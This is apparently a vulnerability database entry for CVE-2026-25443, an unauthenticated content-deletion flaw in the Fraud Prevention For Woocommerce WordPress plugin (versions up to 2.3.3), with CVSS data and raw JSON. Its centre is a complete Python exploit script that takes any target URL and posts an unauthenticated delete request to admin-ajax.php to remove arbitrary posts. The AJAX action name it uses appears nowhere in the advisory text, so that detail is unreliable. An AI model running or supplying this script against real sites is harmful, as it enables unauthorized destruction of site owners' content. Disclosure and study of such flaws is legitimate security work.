Security Vulnerability Report
中文
CVE-2026-25443 CVSS 7.5 HIGH

CVE-2026-25443

Published: 2026-03-19 09:16:17
Last Modified: 2026-04-23 15:37:11

Description

Missing Authorization vulnerability in Dotstore Fraud Prevention For Woocommerce woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fraud Prevention For Woocommerce: from n/a through <= 2.3.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Fraud Prevention For Woocommerce <= 2.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-25443 PoC - Missing Authorization in Fraud Prevention For Woocommerce # Target: WordPress site with Fraud Prevention For Woocommerce plugin <= 2.3.3 def exploit(target_url, post_id=1): """ Exploit the missing authorization vulnerability to delete arbitrary content. This PoC demonstrates how an unauthenticated attacker can delete posts. """ target = target_url.rstrip('/') # Delete post via plugin's unprotected endpoint delete_url = f"{target}/wp-admin/admin-ajax.php" # Payload to exploit the missing authorization data = { 'action': 'woo_blocker_delete_post', 'post_id': post_id, 'security': '' # No security check enforced } print(f"[*] Target: {target}") print(f"[*] Attempting to delete post ID: {post_id}") try: response = requests.post(delete_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response: {response.text[:200]}") print("[!] Post may have been deleted - verify manually") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [post_id]") print(f"Example: python {sys.argv[0]} http://target.com 1") sys.exit(1) target = sys.argv[1] post_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 exploit(target, post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25443", "sourceIdentifier": "[email protected]", "published": "2026-03-19T09:16:17.453", "lastModified": "2026-04-23T15:37:10.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Dotstore Fraud Prevention For Woocommerce woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fraud Prevention For Woocommerce: from n/a through <= 2.3.3."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en Dotstore Fraud Prevention For Woocommerce permite la Explotación de Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a Fraud Prevention For Woocommerce: desde n/a hasta 2.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers/vulnerability/wordpress-fraud-prevention-for-woocommerce-plugin-2-3-2-arbitrary-content-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}